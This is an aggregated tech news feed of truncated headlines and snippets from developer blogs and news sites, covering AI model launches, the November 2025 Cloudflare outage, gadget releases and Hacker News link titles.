    Previously, I shared my thoughts on Neal Sample’s "lumberjack paradox" and the urgent need to build the systems thinkers of tomorrow. I argued that leaders must move beyond simple efficiency and focus on re-engineering the experience (Dr. Gary Klein) and creating context to ensure we don't lose the path to deep expertise. But what does "leadership as context creator" look like in practice? For us in Cloud DevRel Engineering, it isn't abstract. It comes down to how we manage the most fundamental unit of our developer experience: the code sample. As Neal notes, AI will lead to the "industrialization of creativity"—an infinite supply of ideas and code. In this world, the premium shifts to discernment: the ability to distinguish the quality from the mediocre. But this isn't a choice between th…  ( 10 min )
    dev diary 20251118
    ideation for web application i completed preparation of development too, then started to generate idea of application. with Miro. but i don't take so long time to do it. the plan is just plan. i wanna build some concrete things without consider detail. i use chatGPT, Gemini, Copilot, Claude or Perplexity everyday. but i guess there are more efficient way of use. especially, now i just input one question or reflection and get answer, but with AI agent, set multi steps, might get more deep reflection. if ai know everything about me, have all the information of myself, ai can think and judge same as me. ai hear everything i heard, read everything i read, have all the set of my input and output and work as RAG. human encounter some issues, think and try to find how to shoot, but can't solve quickly, the day end, sleep, then next morning, sometimes the problem is solved, some solutions appear automatically. in the night, in brain, the issue is cultivated. such process can work in AI. input question and get answer, check, abstract task from it, and rethink, over and over.  ( 6 min )
    ES6 {Destructuring} Deep Dive
    We all know what variables are, and there are plenty of times where we find ourselves using objects or arrays with long property names on them over, and over, and over... Wouldn't it be nice to just have a variable referring to that property without assigning fifty variables manually? Well, that's where destructuring comes in - destructuring is a way of saving values from complex data types to a variable without having to make a bunch of them by hand. The basic syntax for destructuring is pretty simple, but a lot of people don't know how to use it, so let's go over a couple examples with both objects and arrays! We'll do this with the destructuring "binding" pattern, though there's also an "assignment" pattern. We can start with a basic object: const obj = { a: 1, two: 83, banana: 'b…  ( 10 min )
    THE LOVE THAT OUTLIVES TIME: A 1 CORINTHIANS 13 LEGACY EXPLORATION
    There are moments when Scripture stops being something we read and becomes something that reads us. Some verses instruct us. But some verses — like the ones in this chapter — expose us, reshape us, and redefine what a life with God looks like. They peel away our excuses, our spiritual shortcuts, our self-protective habits, and reveal the core of Christian identity: Love that mirrors the heart of God Himself. This chapter is not sentimental. It is the very oxygen of the Christian life. If you want the deepest, clearest, most transformational video breakdown of this chapter, watch this teaching early in your reading: Meaning of 1 Corinthians 13 This anchor link sits near the top because it forms the foundation you will build on as you explore the rest of this legacy document. You asked for m…  ( 14 min )
    COBOL on Ubuntu: Installation, Setup, and First Steps
    Prerequisites – Installing Homebrew and ASDF on Ubuntu IBM COBOL for Linux on x86 Documentation Open-cobol GNU COBOL (COBOL doesn’t use modern frameworks; these are the most common ones) GnuCOBOL (OpenCOBOL) — standard open-source compiler. TinyCOBOL — simple and educational. COBOL-IT — commercial, mainframe-compatible. sudo apt update sudo apt install open-cobol # or sudo apt install gnucobol brew install gnu-cobol COBOL **does not have an official package manager* (it’s not a modular ecosystem like Node or PHP).* There is no official ASDF plugin for COBOL. Important: In COBOL, the first 7 characters of each line must remain empty because they were originally reserved for sequence numbers used on punched cards. These numbers allowed cards to be physically reordered if shuffled. Even tho…  ( 8 min )
    Salut l'ensemble de la communauté! Je suis débutant en développement web je viens de démarrer le JavaScript et je veux travailler ensemble avec vous pour avoir plus de compétences
    Welcome Thread - v351 Sloan the DEV Moderator for The DEV Team ・ Nov 12 #welcome  ( 6 min )
    DSA Fundamentals: Greedy Algorithms - From Theory to LeetCode Practice
    Greedy algorithms are a powerful problem-solving paradigm that makes locally optimal choices at each step, hoping to find a global optimum. While not always applicable, greedy algorithms provide elegant and efficient solutions to many optimization problems, especially those involving sequences, intervals, and resource allocation. This comprehensive guide combines theoretical understanding with practical problem-solving, featuring solutions to essential LeetCode problems that demonstrate core greedy algorithmic patterns. Greedy algorithms make the best local choice at each decision point, without considering future consequences. The key insight is that sometimes, making locally optimal choices leads to a globally optimal solution. Greedy algorithms work well when: Optimal substructure: Opti…  ( 17 min )
    Turn your code into a visual, editable wiki. 100% open source
    Hey everyone, I’m working on Davia, an open-source tool that generates an editable visual wiki from local code, complete with Notion-style pages and whiteboards. Would love your feedback or ideas! Check it out: Github  ( 6 min )
    The Evolution of GPT: How AI Became Your Everyday Assistant
    The Beginning However, how did it all begin? Let's go over GPT-1 through GPT-5 and how these models relate to our everyday lives. 1.The History: GPT-1 (2018)The Beginning of It All Get to know GPT 1 The Reason It Mattered 2. Expanding Up: GPT-2 (2019) AI was able to generate multi-paragraph text that sounded human for the first time. GPT-2 was capable of creating poetry, summarizing articles, and writing essays. It performs extremely well on a task known as language modeling, which evaluates a program's ability for predicting the next word that appears in a given sentence. If you give it a fake headline, it will write the rest of the piece, including fake statistics and quotes. It will tell you what happens to your character after you feed it the first line of a short story. If you give …  ( 11 min )
  • Open

    OpenAI debuts GPT‑5.1-Codex-Max coding model and it already completed a 24-hour task internally
    OpenAI has introduced GPT‑5.1-Codex-Max, a new frontier agentic coding model now available in its Codex developer environment. The release marks a significant step forward in AI-assisted software engineering, offering improved long-horizon reasoning, efficiency, and real-time interactive capabilities. GPT‑5.1-Codex-Max will now replace GPT‑5.1-Codex as the default model across Codex-integrated surfaces. The new model is designed to serve as a persistent, high-context software development agent, capable of managing complex refactors, debugging workflows, and project-scale tasks across multiple context windows. It comes on the heels of Google releasing its powerful new Gemini 3 Pro model yesterday, yet still outperforms or matches it on key coding benchmarks: On SWE-Bench Verified, GPT‑5.1-…
    The Google Search of AI agents? Fetch launches ASI:One and Business tier for new era of non-human web
    Fetch AI, a startup founded and led by former DeepMind founding investor, Humayun Sheikh, today announced the release of three interconnected products designed to provide the trust, coordination, and interoperability needed for large-scale AI agent ecosystems. The launch includes ASI:One, a personal-AI orchestration platform; Fetch Business, a verification and discovery portal for brand agents; and Agentverse, an open directory hosting more than two million agents. Together, the system positions Fetch as an infrastructure provider for what it calls the “Agentic Web”—a layer where consumer AIs and brand AIs collaborate to complete tasks instead of merely suggesting them. The company says the tools address a central limitation in current consumer AI: models can provide recommendations but …
    OpenCV founders launch AI video startup to take on OpenAI and Google
    A new artificial intelligence startup founded by the creators of the world's most widely used computer vision library has emerged from stealth with technology that generates realistic human-centric videos up to five minutes long — a dramatic leap beyond the capabilities of rivals including OpenAI's Sora and Google's Veo. CraftStory, which launched Tuesday with $2 million in funding, is introducing Model 2.0, a video generation system that addresses one of the most significant limitations plaguing the nascent AI video industry: duration. While OpenAI's Sora 2 tops out at 25 seconds and most competing models generate clips of 10 seconds or less, CraftStory's system can produce continuous, coherent video performances that run as long as a typical YouTube tutorial or product demonstration. The…
    VentureBeat launches “Beyond the Pilot” — a new podcast series exploring how enterprise AI gets real
    Premiering November 19 VentureBeat is proud to announce the launch of its new flagship podcast, Beyond the Pilot: Enterprise AI in Action, premiering November 19 and brought to you by our anchor sponsor, Outshift by Cisco. Enterprise AI has reached a new inflection point: workloads are going live, and the constraints are getting real. The challenge for enterprise technical leaders isn’t understanding AI’s potential — it’s navigating the messy, complex work of making it run reliably at scale. Beyond the Pilot goes inside that reality with candid conversations from executives who’ve moved past experiments and into production — scaling AI and agentic systems that deliver measurable business value. “Enterprise technical leaders keep telling us the same thing: the hype cycle is loud, but what …
    Meta’s DreamGym framework trains AI agents in a simulated world to cut reinforcement learning costs
    Researchers at Meta, the University of Chicago, and UC Berkeley have developed a new framework that addresses the high costs, infrastructure complexity, and unreliable feedback associated with using reinforcement learning (RL) to train large language model (LLM) agents. The framework, DreamGym, simulates an RL environment to train agents for complex applications. As it progresses through the training process, the framework dynamically adjusts task difficulty, ensuring the agent gradually learns to solve more challenging problems as it improves. Experiments by the research team show that DreamGym substantially improves RL training in both fully synthetic settings and scenarios where the model must apply its simulated learning to the real world. In settings where RL is possible but expensive…
  • Open

    How AI is Transforming Enterprise Operations
    Artificial intelligence is changing how big companies work every single day. What used to take hours of manual effort or long approval chains can now happen in seconds with AI-powered systems. From supply chains to IT operations, AI is helping enter...  ( 7 min )
    A Game Developer’s Guide to Understanding Screen Resolution
    Every game developer obsesses over performance, textures, and frame rates, but resolution is the quiet foundation that makes or breaks visual quality. Whether you are building a pixel-art indie game or a high-fidelity 3D world, understanding how res...  ( 7 min )
    Create a Cute Room Portfolio with Three.js, Blender, JavaScript
    Learn how to use Three.js and Blender to design a stunning and interactive 3D portfolio! We just posted a course on the freeCodeCamp.org YouTube channel that will take you from the foundational concepts of 3D modeling in Blender to creating a fully f...  ( 4 min )
  • Open

    Scaling innovation in manufacturing with AI
    Manufacturing is getting a major system upgrade. As AI amplifies existing technologies—like digital twins, the cloud, edge computing, and the industrial internet of things (IIoT)—it is enabling factory operations teams to shift from reactive, isolated problem-solving to proactive, systemwide optimization. Digital twins—physically accurate virtual representations of a piece of equipment, a production line, a process,…  ( 18 min )
    The Download: de-censoring DeepSeek, and Gemini 3
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Quantum physicists have shrunk and “de-censored” DeepSeek R1 The news: A group of quantum physicists at Spanish firm Multiverse Computing claims to have created a version of the powerful reasoning AI model DeepSeek…  ( 23 min )
    Quantum physicists have shrunk and “de-censored” DeepSeek R1
    A group of quantum physicists claims to have created a version of the powerful reasoning AI model DeepSeek R1 that strips out the censorship built into the original by its Chinese creators.  The scientists at Multiverse Computing, a Spanish firm specializing in quantum-inspired AI techniques, created DeepSeek R1 Slim, a model that is 55% smaller…  ( 22 min )
  • Open

    Qualcomm To Launch Snapdragon 8 Gen5 SoC On 26 November
    Qualcomm is reportedly set to launch its Snapdragon 8 Gen5 SoC later this month and more precisely, on 26 November. Yes, that’s not a typo and as such, it should not be confused with the Snapdragon 8 Elite Gen5 that the brand launched back in September at its annual Qualcomm Summit. According to multiple reports, […] The post Qualcomm To Launch Snapdragon 8 Gen5 SoC On 26 November appeared first on Lowyat.NET.  ( 33 min )
    iOS 26.2 Beta Lets iPhone Users Swap Siri For Third-Party Voice Assistants, But…
    Apple is preparing a significant change for iPhone users, with the latest iOS 26.2 beta offering early signs of an upcoming option to replace Siri as the default voice assistant. Code discovered in beta 3 shows new strings describing Side Button behaviour, pointing to a feature that allows users to choose a different app to […] The post iOS 26.2 Beta Lets iPhone Users Swap Siri For Third-Party Voice Assistants, But… appeared first on Lowyat.NET.  ( 35 min )
    TNB Reports RM4.57 Billion Loss From Illegal Bitcoin Mining Since 2020
    Tenaga Nasional Bhd (TNB) has incurred losses amounting to RM4.57 billion between 2020 and August this year due to electricity theft linked to illegal cryptocurrency mining. According to Deputy Prime Minister Datuk Seri Fadillah Yusof, TNB discovered 13,827 premises engaging in such activities, including bitcoin farms. Fadillah, who also serves as the Energy Transition and […] The post TNB Reports RM4.57 Billion Loss From Illegal Bitcoin Mining Since 2020 appeared first on Lowyat.NET.  ( 34 min )
    realme Buds Clip To Land In Malaysia On 24 November
    realme has just announced that the Buds Clip, the brand’s first open-ear earbuds, is arriving in Malaysia on 24 November, coinciding with the GT 8 Pro. And right off the bat, the design is very reminiscent of Huawei’s own FreeClip earbuds. Marketed towards “young, active users”, the Buds Clip promises to eliminate the pressure and […] The post realme Buds Clip To Land In Malaysia On 24 November appeared first on Lowyat.NET.  ( 33 min )
    AMD Set To Unveil FSR Redstone On 10 December
    It’s official: AMD will be premiering its next-generation upscaling technology, FSR Redstone, on 10 December this year. The red chipmaker isn’t divulging much else, meaning that we’ll have to wait until the date to hear more. Jack Huynh, senior vice president and general manager of the Computing and Graphics Group at AMD, has mentioned on […] The post AMD Set To Unveil FSR Redstone On 10 December appeared first on Lowyat.NET.  ( 34 min )
    ARM Joins NVIDIA NVLink Fusion Ecosystem
    ARM and NVIDIA have announced that the former will be joining the latter’s NVLink Fusion ecosystem. The announcement was made at the recent Supercomputing 25 conference. “Arm is integrating NVLink IP so that their customers can build their CPU SoCs to connect Nvidia GPUs,” said Dion Harris, the head of data center product marketing at […] The post ARM Joins NVIDIA NVLink Fusion Ecosystem appeared first on Lowyat.NET.  ( 33 min )
    WhatsApp To Roll Out Multi-Account Support For iOS Soon
    Among all Meta-owned messaging apps, WhatsApp appears to be the only one that still lacks multi-account support, at least for iOS. However, it seems that the messaging platform is working to address that issue soon enough. According to WABetaInfo, this feature will allow users to quickly move between different WhatsApp accounts right from the settings […] The post WhatsApp To Roll Out Multi-Account Support For iOS Soon appeared first on Lowyat.NET.  ( 34 min )
    Logitech Confirms 1.8TB Of Data Was Stolen By Hackers
    Logitech, one of the world’s biggest PC accessories makers, recently confirmed that it was a victim of hacking. It says that a zero-day vulnerability was how the hacker got past its cybersecurity. In a filing to the SEC, Logitech says that the hacker made off with 1.8TB of company data, but that none of the […] The post Logitech Confirms 1.8TB Of Data Was Stolen By Hackers appeared first on Lowyat.NET.  ( 34 min )
    TM’s Unifi Outshines Rivals In Opensignal’s 2025 Mobile Network Report
    Opensignal has released its Malaysia Mobile Network Experience – November 2025 report, offering a fresh breakdown of how the country’s major operators stacked up over the past year. The latest findings show noticeable shifts in several categories, with underdog Unifi surprisingly emerging as the biggest overall winner. According to the report, Unifi users enjoy the […] The post TM’s Unifi Outshines Rivals In Opensignal’s 2025 Mobile Network Report appeared first on Lowyat.NET.  ( 36 min )
    Roblox Rolls Out Age Verification System; Users Now Required To Send Selfies For Chat Feature
    Roblox will soon be rolling out a mandatory age verification system, requiring all users to provide an ID or a face scan to use the platform’s chat features. The policy will first take effect in Australia, New Zealand, and the Netherlands in December. Afterwards, the policy will expand to other markets early next year. The […] The post Roblox Rolls Out Age Verification System; Users Now Required To Send Selfies For Chat Feature appeared first on Lowyat.NET.  ( 35 min )
    HONOR Magic8 Pro Locks In 27 November Launch Date
    Earlier this month, HONOR confirmed that it will be releasing its newest flagship smartphone on our shores. Now, the company has announced that the Magic8 Pro will make its Malaysian debut next week, on 27 November 2025. As previously revealed, the highlight of the handset is the camera system, or more specifically, what the brand […] The post HONOR Magic8 Pro Locks In 27 November Launch Date appeared first on Lowyat.NET.  ( 34 min )
    Cloudflare Issues Statement Regarding 18 November Outage
    Global network provider Cloudflare has published a statement via its official blog concerning the major six-hour disruption yesterday on 18 November 2025, which impacted websites and services worldwide. The incident began at 7:20pm local time and resulted in significant traffic failures across its network. Among those affected included our own website and forum, as well […] The post Cloudflare Issues Statement Regarding 18 November Outage appeared first on Lowyat.NET.  ( 34 min )
    DJI Osmo Action 6 Lands In Malaysia; Priced From RM2,079
    Last week, DJI released the Osmo Action 6 in China. Despite its early launch in the drone maker’s home market, the action camera made its Malaysian debut right on schedule. Of course, at this point there’s nothing left to the imagination when it comes to the device. But to recap, the Osmo Action 6 sports […] The post DJI Osmo Action 6 Lands In Malaysia; Priced From RM2,079 appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Lucent 7 R/E 5ESS Telephone Switch Rescue
    Comments  ( 3 min )
    Cloudflare outage on November 18, 2025 post mortem
    Comments  ( 12 min )
    Rebecca Heineman – from homelessness to porting Doom
    Comments  ( 33 min )
    Monotype font licencing shake-down
    Comments  ( 14 min )
    Blender 5.0
    Comments
    Bild AI (YC W25) Is Hiring: Make Housing Affordable
    Comments  ( 2 min )
    GitHub: Git operation failures
    Comments  ( 19 min )
    Oracle is underwater on its $300B OpenAI deal
    Comments  ( 9 min )
    Jerry Seinfeld and the "too sensitive" left
    Comments  ( 6 min )
    A surprise with how '#!' handles its program argument in practice
    Comments  ( 1 min )
    New EU Chat Control proposal moves forward
    Comments  ( 18 min )
    Trying out Gemini 3 Pro with audio transcription and a new pelican benchmark
    Comments  ( 8 min )
    OrthoRoute – GPU-accelerated autorouting for KiCad
    Comments  ( 12 min )
    Show HN: RowboatX – open-source Claude Code for everyday automations
    Comments  ( 8 min )
    NPR to get $36M in settlement to operate US public radio system
    Comments  ( 34 min )
    I am stepping down as the CEO of Mastodon
    Comments  ( 2 min )
    Show HN: Guts – convert Golang types to TypeScript
    Comments  ( 8 min )
    Google CEO: If an AI bubble pops, no one is getting out clean
    Comments  ( 8 min )
    The Connectivity Standards Alliance Announces Zigbee 4.0 and Suzi
    Comments  ( 11 min )
    Pebble, Rebble, and a Path Forward
    Comments  ( 11 min )
    Strix Halo's Memory Subsystem: Tackling iGPU Challenges
    Comments  ( 33 min )
    Show HN: Optimizing LiteLLM with Rust – When Expectations Meet Reality
    Comments  ( 13 min )
    Solving a Million-Step LLM Task with Zero Errors
    Comments  ( 3 min )
    TIL: `satisfies` is my favorite TypeScript keyword
    Comments  ( 3 min )
    A Day at Hetzner Online in the Falkenstein Data Center
    Comments  ( 26 min )
    The code and open-source tools I used to produce a science fiction anthology
    Comments  ( 6 min )
    5 Things to Try with Gemini 3 Pro in Gemini CLI
    Comments  ( 7 min )
    Google Brings Gemini 3 AI Model to Search and AI Mode
    Comments  ( 14 min )
    Google Antigravity, a New Era in AI-Assisted Software Development
    Comments  ( 12 min )
    How long can it take to become a US citizen?
    Comments  ( 42 min )
    Gemini 3 for developers: New reasoning, agentic capabilities
    Comments  ( 17 min )
    Gemini 3
    Comments  ( 20 min )
    Google Antigravity
    Comments  ( 12 min )
    Gemini 3 Pro Preview Live in AI Studio
    Comments  ( 53 min )
    Show HN: Browser-based interactive 3D Three-Body problem simulator
    Comments  ( 13 min )
    Short Little Difficult Books
    Comments
    Nearly all UK drivers say headlights are too bright
    Comments  ( 17 min )
    Experiment: Making TypeScript Immutable-by-Default
    Comments  ( 5 min )
    'Fear really drives him': is Alex Karp of Palantir the world's scariest CEO?
    Comments  ( 21 min )
    Ruby 4.0.0 Preview2 Released
    Comments  ( 1 min )
    Do Not Put Your Site Behind Cloudflare If You Don't Need To
    Comments  ( 1 min )
    Multiple Digital Ocean services down
    Comments  ( 21 min )
    GoSign Desktop RCE flaws affecting users in Italy
    Comments
    Mathematics and Computation (2019) [pdf]
    Comments  ( 238 min )
    Gemini 3 Pro Model Card
    Comments
    Cloudflare Global Network experiencing issues
    Comments  ( 17 min )
    Cloudflare Global Network experiencing issues
    Comments  ( 108 min )
    Typechecking is undecideable when 'type' is a type (1989) [pdf]
    Comments  ( 159 min )
    Gemini 3 Pro Model Card [pdf]
    Comments  ( 69 min )
    A 'small' vanilla Kubernetes install on NixOS
    Comments  ( 24 min )
    The Miracle of Wörgl
    Comments  ( 7 min )
    Okta's NextJS-0auth troubles
    Comments  ( 3 min )
    Take a Look the First Musical Robot
    Comments  ( 19 min )
    Don't blindly trust what AI tells you, says Google's Sundar Pichai
    Comments  ( 20 min )
    Comparing Android Alternatives: Lineage OS, ∕E∕OS, and Graphene OS
    Comments  ( 9 min )
    Event Sourcing in Go: From Zero to Production
    Comments  ( 10 min )
    How Quake.exe got its TCP/IP stack
    Comments  ( 8 min )
    Show HN: A subtly obvious e-paper room air monitor
    Comments  ( 3 min )
    Langfuse (YC W23) Hiring OSS Support Engineers in Berlin and SF
    Comments  ( 17 min )
    Google boss says AI investment boom has 'elements of irrationality'
    Comments  ( 22 min )
    The surprising benefits of giving up
    Comments  ( 30 min )
    The obvious economics of preserving the Amazon
    Comments
    SimpleMMO – How I made a hole a home (2021)
    Comments
    According to a Google leak, we’re all to blame for poor quality search results
    Comments  ( 15 min )
    LeJEPA
    Comments  ( 3 min )
    Core Devices keeps stealing our work
    Comments  ( 8 min )
    Rust9x Unofficial "Tier 4" Rust Target for Windows 9x/Me/NT/2000/XP/Vista
    Comments  ( 6 min )
    Rebecca Heineman has died
    Comments  ( 111 min )
    I caught Google Gemini using my data and then covering it up
    Comments  ( 3 min )
  • Open

    How to Debug a Node.js App on AWS ECS Fargate Using Port Forwarding (Step-by-Step Guide)
    At some point in their lives, every software engineer eventually faces the task of debugging an app live on a remote server. If that app happens to be running on ECS Fargate, getting into that container safely is possible, but not immediately obvious. Full disclosure: I haven’t done this exact thing before, but I have used the same port-forwarding trick to peek into our RDS instances via an ECS task acting as a jumpbox. So yes, I tested these instructions, and yes, they actually work. Here’s what we have: A Node.js app deployed to ECS Fargate Inside a private VPC subnet Without SSH access (Fargate doesn’t do that) VS Code (or some other IDE with Node.js inspector support) First, make sure your ECS task’s running Node.js process with the inspector enabled. This can be achieved by passing a …  ( 8 min )
    Agente de IA para Advogado Autônomo: Guia Definitivo para Transformar sua Rotina Jurídica
    O uso de um agente de IA para advogado autônomo deixou de ser tendência e passou a ser uma ferramenta indispensável para quem trabalha sozinho e precisa otimizar tempo, reduzir tarefas repetitivas e aumentar a produtividade. Logo nos primeiros usos, fica evidente como a automação inteligente impacta a rotina jurídica, permitindo que o profissional atue com mais precisão, agilidade e foco estratégico. Ao compreender como funcionam esses sistemas e como aplicá‑los no dia a dia, o advogado ganha uma vantagem competitiva enorme, especialmente em um mercado onde velocidade e qualidade de atendimento fazem toda a diferença. O agente de IA para advogado autônomo é um sistema capaz de analisar informações jurídicas, automatizar tarefas administrativas, organizar documentos e até auxiliar em pesqui…  ( 9 min )
    How to: Fix WebResources Layout in Dataverse Dashboards
    🤔 The problem If you ever managed to create a Dataverse Dashboard containing an HTML WebResource (e.g. to show some calculated KPI), by default the resulting UI is quite ugly: What I don't like: Each WebResource component has a surrounding black border I would like to get rid of The minimum vertical space that can be occupied by the WebResources row is 6 lines. Too much for my needs. For both points, the Dashboard editor doesn't provides any option to fix the problem: No option to remove the border And I cannot reduce the vertical space As usual, the solution is quite simple via small XML tweaking. Step 1. Create a new solution In my case I already had a "ribbon" solution ready to use, thus in the screenshots below you'll see that one. Step 2. Add the dashboard as the only component …  ( 7 min )
    Untitled
    Test: ¿Qué perfil STEM financiero tienes? .container { max-width: 900px; margin: 0 auto; background: white; border-radius: 15px; box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3); overflow: hidden; } /* Sección 1: Bienvenida */ .bienvenida { background: linear-gradient(135deg, #1e3c72 0%, #2a5298 50%, #7e22ce 100%); color: white; padding: 50px 30px; text-align: center; } .bienvenida h1 { font-size: 2.8em; margin-bottom: 20px; text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3); } .bienvenida .objetivo { font-size: 1.2em; line-height: 1.8; opacity: 0.95; max-width: 700px; margin: 0 auto; background: rgba(255, 255, 255, 0.1); padding: 20px; border-radius: 10px; backdrop-fi…  ( 11 min )
    Criar Imagem com Inteligência Artificial Online: Guia Completo para Dominar a Arte Visual com IA
    A capacidade de criar imagem com inteligência artificial online transformou completamente a forma como designers, criadores de conteúdo, empreendedores e usuários comuns produzem imagens impressionantes em poucos segundos. Nos primeiros usos, já fica evidente que as plataformas modernas de IA conseguem entender descrições complexas, estilos artísticos, iluminação e até emoções, permitindo que qualquer pessoa gere visuais dignos de profissionais sem precisar dominar softwares avançados. Criar imagens com IA envolve modelos treinados com bilhões de dados visuais que aprendem padrões estéticos, formas, composições e estilos. Quando alguém decide criar imagem com inteligência artificial online, a plataforma interpreta o texto digitado e converte essa descrição em pixels organizados de forma co…  ( 9 min )
    RAG Will Never Be the Same After Gemini File Search Tool
    Last week I heard bad news, and life hit me hard again. Moments like that remind me how fragile everything is — how one day we all leave, and even love can feel temporary. In the middle of all this, I saw a post on X saying Gemini’s File Search Tool makes RAG super easy and is being offered at a really reasonable cost. I don’t know why, but something about it pushed me to try it Google announced the File Search Tool, a fully managed search Augmentation generation (RAG) system built directly into the Gemini API. Previously, to build a RAG, you had to choose a vector database, develop a chunking strategy, call an embedding model, and tie everything together. The file search tool handles all of that automatically behind the API. These were major barriers for companies wanting to introduce AI,…  ( 12 min )
    Programmatic SEO: How to Scale 10,000+ Landing Pages Without Destroying Your Domain
    Let me guess: someone in a meeting said "Why don't we just create a page for every possible keyword combination?" and here you are, Googling whether this is genius or career suicide. The answer is yes. Programmatic SEO—generating thousands of landing pages using templates and data—can work spectacularly well. Zillow has millions of pages. Tripadvisor has millions more. Nomad List built an entire business model on it. But for every success story, there are dozens of sites that got slapped with manual actions or simply created 50,000 pages that nobody visits and Google doesn't care about. I've watched companies generate 100,000 pages in a weekend and celebrate. Then watched them scramble to delete 90,000 of them three months later when traffic never materialized and their crawl budget implod…  ( 12 min )
    Eleven Labs AI em Português: Guia Definitivo para Dominar Vozes Realistas com IA
    A evolução das ferramentas de voz sintetizada mudou drasticamente a forma como criadores de conteúdo, empreendedores e profissionais de atendimento se comunicam digitalmente. Entre essas tecnologias, eleven labs ai em português se tornou uma solução extremamente procurada por quem deseja criar áudios naturais, envolventes e com entonação semelhante à de um ser humano real. Logo nos primeiros testes, muitos usuários percebem que a plataforma ultrapassa os limites da simples conversão de texto em fala e oferece recursos avançados que transformam a produção de conteúdo em áudio. O Eleven Labs surgiu como uma tecnologia revolucionária focada em sintetizar vozes cada vez mais naturais. Quando o suporte para eleven labs ai em português foi implementado, criadores brasileiros passaram a explorar …  ( 9 min )
    Why Cursor and Replit Represent Two Paths in AI Development
    AI-powered coding tools are evolving fast, and choosing the right workflow is becoming a real architectural decision, not just a convenience choice. What’s the practical difference between building with Cursor vs Replit? Both are strong tools, but they solve different problems in an AI-driven development stack. Here’s a quick breakdown for anyone evaluating their next AI coding setup. Replit shines when: You want zero-setup cloud environments You need to spin up ideas quickly You prefer a collaborative, browser-based space It's all about speed, accessibility, and low friction, great for prototypes, students, or fast experimentation. Cursor focuses on: Working inside your local workflow Giving you full control over your code and environment Keeping your development private and customizable It's a strong option for engineering teams that want AI copilots with local context, version control, and security. So… Cloud Speed or Local Control? This is the trade-off many teams are navigating today. And honestly, the “right choice” has more to do with your workflow than with the tools themselves. To make this comparison easier to digest, we put together a short visual breakdown that highlights the core differences. Have you used either tool in your day-to-day work?  ( 6 min )
    Gemini 3 Is Here: Google's Bold Leap into the Agentic AI Era
    Today marks a massive milestone in AI: Google has officially released Gemini 3, kicking off what the company is calling "the Gemini 3 era." Announced just hours ago by Demis Hassabis (CEO of Google DeepMind) and the latest flagship model from Google DeepMind is now rolling out across the Gemini app, Google Search's AI Mode, Vertex AI, and more. If you've been waiting for Google to go all-in on next-level reasoning, multimodality, and agentic capabilities — this is it. Gemini 3 isn't just an incremental update — it's built from the ground up for a world where AI doesn't just answer questions but brings ideas to life. Google describes it as their most intelligent model yet, combining breakthrough reasoning with native multimodal understanding (text, images, video, audio, and code) and powerf…  ( 8 min )
    Great breakdown. What hit me today is that nothing was attacked — one internal mistake took huge parts of the internet down. That’s how fragile centralization is. If teams don’t build real multi-provider fallbacks, this will keep happening.
    When a Single Company Can Break the Internet RIVAL ・ Nov 18 #cloudflare #currentevents #outage #cloud  ( 6 min )
    Como Calcular ROI Real da Portabilidade de Energia: Planilha e Percentuais 2025
    Como Calcular ROI Real da Portabilidade de Energia: Planilha e Percentuais 2025 Você já se perguntou se vale realmente a pena migrar para o mercado livre de energia? Com promessas de economia de até 40%, é natural querer entender os números reais por trás da portabilidade de energia. A boa notícia é que calcular o ROI (Retorno sobre Investimento) da portabilidade não é complicado — e pode revelar uma economia significativa no seu orçamento. Segundo dados da CCEE, o mercado livre deve atingir 70% de penetração entre consumidores elegíveis até 2026, impulsionado principalmente pela economia real que oferece. Mas como saber se você faz parte dos que podem se beneficiar? E mais importante: como calcular exatamente quanto você pode economizar? Neste guia completo, vou te mostrar como criar su…  ( 11 min )
    Jeff Su: Master 80% of Notion with this ONE Feature
    Master your Notion in minutes by using the Relations feature to link your scattered databases—no more digging through endless pages of tasks, notes, and projects. This quick walkthrough shows why most setups break down, how to connect tables with Relations, and how to build self-filtering templates that automatically organize new entries. You’ll get a step-by-step example (both manual and automated), complete with timestamps, a free duplicatable template, links to a full Command Center course, plus bonus gear and productivity resources to level up your workflow. Watch on YouTube  ( 6 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatch Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 teen comedy, unpacking the wild premise—two nerdy teens who accidentally create the perfect woman—and the film’s mix of sex, drugs, rock ’n’ roll (plus chips, dips, chains and whips). With Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith leading the charge, they riff on the movie’s greatest moments, its ’80s vibe and why it still holds up as a cult classic. Behind the Mic This episode of Ringer Movies’ Rewatchables is produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, and—true to form—serves up a healthy dose of nostalgia, humor and insider trivia. Whether you’re a die-hard Hughes fan or just in it for the ’80s antics, Bill and Kyle make this episode a blast from the past. Watch on YouTube  ( 6 min )
    New pricing model for CloudFront
    AWS just released a new pricing model for CloudFront. Now you can pay a fixed price. As most of you know, calculating the cost in AWS can be hard, especially on resources where traffic is the cost driver (like CloudFront). So this change will make it a lot easier. So how will this work then? There will be different plans with varying costs that include CloudFront and other services in the pricing. You will select the plan you want when deploying your CloudFront Distribution. For current distributions, you can “migrate” them to the plan of your choice by selecting to switch to a plan for your distribution in the console (right now, the console is the only place to set plans). If the current deployment configuration matches what the plan provides, you will be able to use that plan. The dif…  ( 9 min )
    Creating Storage Account for Finance Department's shared file
    In every project, the first thing is to create a Resource Group Storage Account, Create a Storage Account for any Department share file, but in this article, I will use the Finance Department Step 1 storage account and hit enter, and choose the storage account that is grayed out Step 2 + Create Step 3 resource group section and click create new, but if there is an existing resource group, click the drop-down arrow and select and click ok Step 4 storage account name section and type a name in the bar. Remember the naming convention that it must be globally unique, choose a Region as usual, and for Performance, choose Premium, for premium account type select file share, and for redundancy, select zone redundant storage, and review + create Step 5 create Step 6 Go to Resource Steps on …  ( 7 min )
    ¿Qué WMS se adapta mejor a bodegas en Chile?
